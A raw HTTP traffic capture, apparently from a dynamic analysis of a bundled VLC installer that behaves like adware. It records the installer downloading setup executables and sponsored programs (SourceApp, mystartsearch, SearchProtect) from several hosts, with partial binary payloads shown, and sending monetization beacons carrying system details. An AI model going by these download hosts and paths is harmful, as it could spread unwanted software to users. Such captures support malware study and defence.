48..{"stats":"ok","time":"1.78 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:30:41 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.78 ms","message":"store 4 ac
tion and 5 update "}..0......

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:30:46 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.37 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:30:46 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.37 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2q90bop9bptps.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 04:58:20 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 08 Feb 2015 05:08:20 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 514

X-Cache: Hit from cloudfront

Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: w_X9vyCi7S62BkuN4T2iROnYj56LFGjSon91yXXr5hwp-pzcOq1G-Q==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_d HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:21 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537361"

Last-Modified: Tue, 10 Feb 2015 03:02:41 GMT

Cache-Control: max-age=1999

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423621882.dop005.am4.t,1423621881.cds064.am4.c
Z....NW.34....W1.&A.c..F:....m.-....&..?.y1M.....W.....!...S....P.....
,n.......S.L....'.dc.(.....x,..;....c.....>X.s5(..J[..o.r`Bd.0.Z...
q..Dz.AS..v...EA..h......`......\;....B.%[email protected]..`....
#...X.#..U._.p...y_i.j.*~.$=.D.}..X.4_`....1.....k..<&.........Bi..
...7.......3..5...../?.........}......(.....(..^6u.I..Q!-4...V.5.....&
.)...B`.M.#...m`hX.e...M....2..e.....6.7/......./.........I....`5.m...
5g."i.q...h..O.....aD=.V.V.........dCO.q...).kH...'Ee(..f(........U'..
.Rh4....5.-%..Y.".U....(N(.TzLw.y..f;..=...[.b n........K.....&.&..{)h
..:.....NO......bL3.M.X.%....D}.5....e.*..xG([email protected]&...j. <"....
i..dSYc]...rKO5p.._eP!...Nu.{.....0.dr.....9.......?...3... .<F....
F..m...[......a3.k$.....l?-............&.Aw..(J...>.$...J?..k.ig..&
......>..k...\..Co...X...@&qVrL....' >....~......4.j...sC\....&l
t;..!.$../.h)..oy..a.Mo/D.".B.)-.-gf......_.HF..~x\z#E.A.,7^...`......
.. .i.C.L......;.....[F. .......?&...x(.U.R3h.Q..j.g...xR.b.....s.....
t.D....*BW.. .2.$.#Eks..O..>a...].$..es.......6.bZ......O.e.L.....l
j...?......[.X....J.W.(..^....7.CG..s`..5b.)).(W... X.b..s..k[.......o
K%.h.HF.,}...... .J.........x.o.b8.<j7..V.,.&..2.Q..?..q..(.IvL?B.A
..C.D...f..j....X....?......^}wW...EG.j<.Z....._lK.z..H...>....W
....O8...9..uO.}..`l.........[E..N72-mS..;[email protected]<
. ..:..vGP.I..G."...c].r..\.f\.e.&.Pj.ii.[.#.....=..(.2...ap..Q.....{.
K...}.........G....h. ..$.RTw..#r.FY...lCP.l..........e1...T..~...G..Y
...=..5@.*}G.R...L.#..Z..1...F.......9hs.xv...>.c.0...m..5B....<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2wy0yopxw6nne.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 05:02:15 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 08 Feb 2015 05:12:15 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 456

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MzsOKooho20upw0ss_G66utwsxomYj6V6-SBFa-d47YqKeGUK-hjag==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Tue, 10 Feb 2015 16:57:00 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Tue, 10 Feb 2015 17:07:00 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 280

X-Cache: Hit from cloudfront

Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f1XxjJaOEPPy6Bwd9cr2w_TELI6HGn8jWON_6lAhdlZfN1otfnIWCA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 05:02:15 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 08 Feb 2015 05:12:15 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 486

X-Cache: Hit from cloudfront

Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UErCI0cHfORCerF5umj04GRQaB7oifI87xW3f9nYRwFHWXQIr8xRLA==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"2.09 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 11 Feb 201
5 02:31:55 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"2.09 ms","message":"store 2 act
ion and 4 update "}..0..

GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com


HTTP/1.1 200 OK

Server: Apache

ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"

Last-Modified: Fri, 19 Dec 2014 01:00:19 GMT

Date: Wed, 11 Feb 2015 02:34:25 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..141210000000Z..150
331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............5..v...V.._)....A... ..
..>.5]....6.(.0uFW.*:T...6$.....R...Y.N.k........%Jn..I.j*.6.3~...r
../[email protected]?....0.A.HTTP/1.1 200 OK..Server: Apache.
.ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"..Last-Modified: F
ri, 19 Dec 2014 01:00:19 GMT..Date: Wed, 11 Feb 2015 02:34:25 GMT..Con
tent-Length: 933..Connection: keep-alive..Content-Type: application/pk
ix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc
.1705..U....Class 3 Public Primary Certification Authority..1412100000
00Z..150331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A..
...{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y
..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!.

<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=8486386-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 14143975

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 8486386-22630360/22630361
BVX...P1......"....K....x..gc.).I....L....%M../.G...Gh-...RQ.6.....M.a
....#.{BY.x...\.8.:...].&...).94ip.p...=z.#....p... .O..c....=..9.....
|....&&......P[..........r.3..[*.....m .(..".b...'....}.$)...=..![..&.
_.h.......XXe.~.Y.......L..... ..x..Q.....i......d..-...y).N....R(a../
Gx...0Fr..~.AG.w.c.Gr..^....=.....g...VB.O.5=.&<...y.ua.(....T.!Dh.
... .......g}.1.c..]..9...H..E.5q.C.......C...sy.F.W....Mj5......@?j..
Qe.E..K........O.'...a."X.Q4..>.6..?.%`..o.B..K.._u.1F...G......[.;
..x.....r.G.&#..f.i....'.....!..u.:)..&...'.j.V...8.2......C.....fFO*-
[email protected]....._....|...{<....b/."..GF.I...3.OH>,y\... .....
{[.P.Q[..o.F.QC...%..l....... ...sQVk..o9........4..8.....g`o...sG..9b
u....]x...i.X &.;.6.9;.....Ha..F....".>.r.ti.b^..).y..!..p....|...6
).._BoY.3D...".....Y. .t1'[email protected]...=..r...ny.3....)&..
P..#q......<..b...X..LB..I.T\..e'a.06...XdD.h.Al...8Ir$..S#E8.....T
a&..v..vs-.Z_.X.:....B.........XA..F.@._$.....j&^ ..9m..d.W_.>.k{b.
..B.._..nO.8%>....H.(Q.E...j...Q....;Fa..4.c..ik\....{../.>$Rj..
...#......KLB4Ql.:6.q.T|.Ea........;......~.1H.,...,...p...#.?........
X2JRn...Re...(.a`.....f.....F.(5-n.fN..d..._.x.F..i..._....]y.d...{R..
.J".0vh.:.B.."..y.....#.i.o.N...CNC.!..{.R....8.G#.2..S.vH)C;~..>.B
....R.Q.p..;...F=..ry...........=..z..<i..JpT..... =....5._...H....
B.."......K ..8.0":...!...q.......;....].A.I...Ry......U;..9......&.32
T..t....X.q.....t..w$.mv....~.b9...e...7].....3...wm.G"#...... ._...n0
`3....]..B.Qf..\...._4...c.9.ae.U.r..M.m*.....X.T...N.wyu!.sD.~...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 0-583215/583216

Content-Length: 583216

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................F.......................................s....
..................@...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_b HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:22 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537356"

Last-Modified: Tue, 10 Feb 2015 03:02:36 GMT

Cache-Control: max-age=106

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423621882.dop003.am4.t,1423621882.cds042.am4.c
[email protected].......:......fuNZ..1.!.kD......m}.Hp.B.Usf.........\W-.
..#=I.1|q..O....9`5A.=.Ve.p.....].W'n...Wl."..i.'..4.S.\..D`I2..(.-\. 
..Bw.H.eb.......(..H.....5&....]'z......3%...r......GG#/....(.U..g.s07
....v:..*`....b.....5F...........tY..RA..n.H.....B.:u....l.K.|..%{A{8.
......&.'..........*....=......5..E,..;.?JF..\...J....... .\.*........
D.....x)rU.....p....M1...!.P..r...d..W$....B.....'..V..A.q...A. ..e$..
.r......%.p/.^.s.a...,,x.wH.L;;U..'.?..........MA..~......p..}C;..*...
sZp.=z.q,....i..$.`o0.ly.v.....o....Z....jr...^......b.wi..Fc90.%..l.@
..S..s.|.Eh.fd.).),"....T~.|..:X...V.....>.....z...v..0N4.`...%..1.
...uJ.....DA.N...M..m...... D.#4.>O...:2..O.}..n/....7\.$Na..[.p...
..&*.....[...V...!......_`.o...#..B.*6y.....D.... A.9.D.....N..*..$[..
...6.^.lg....l.#...!q..x[....O....^X...@mI... .k.=...2.Y......q...#.L.
.am..(.>.~.$)3%...p..}......Z.'..iv..J.?...:"..0....L.....L........
..A...A...s...Vt^%..9.....\..X.0.O...............5...[.L_...N=.</..
.SP..E.d#.4.8XU....Y.H..[.pN..v..._e$nT.-T..61.GX1>iS.......!?....L
.ntO<,up...*..<...$..f.ckQF..t9.>....W.j...[E....$..R.......e
...{x..F;.e.bL."\....\S....V..X.|F..S..<~./.L...T....S..%....j..a..
c...z....g...{.J%1L/.......O.)..]J.......i.-...k.65...*`~2F.m`...::i.O
._.../o.{.i..q.2.......c..K.0.R..j.zWP.a..$t.pg.......b.c..c<.....L
e..2.n...&.37.o.W [email protected]=....8.&6.*..L{....]b.O...*..%.....aM...j.E
.....Y....v2.T...]/.F...h0..r..9yh...._Kl..A.B.U;.[a'. 0..J4[..3a...~&
gt;.(..;...".c...o....H.......&.|.I....D1..w."\...9.X.Dj6.s...(C[,<<< skipped >>>

GET /monetization.gif?event=3&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888 HTTP/1.1

Host: logs.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:28 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1423621888.dop009.am4.t,1423621888.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 11 Feb 
2015 02:31:28 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1423621888.dop009.am4.t,1423621888.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=BBFE2B1E132147DEAB3E6E2BB23A4FA7IE&verifier=fc8e5e54143a4ed9b899fe7618a763a3&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423621888&asw=0_1073750533_-2147483648_0&browser=ff&rnd=1423621888 HTTP/1.1

Host: logs.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:35 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1423621888.dop009.am4.t,1423621895.cds058.am4.c

GIF89a.............,...........D..;..

GET /downloader/network_marimedia_1/vlcmediaplayervfps/c6f349e09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f349e09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:23 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a.............}.~.F......:qH...;=i.0....k.N'=......$.2./.5.r..>.
..s......tz:[email protected]...~..V:M......b<...wN.8......q....i<.g.(X...
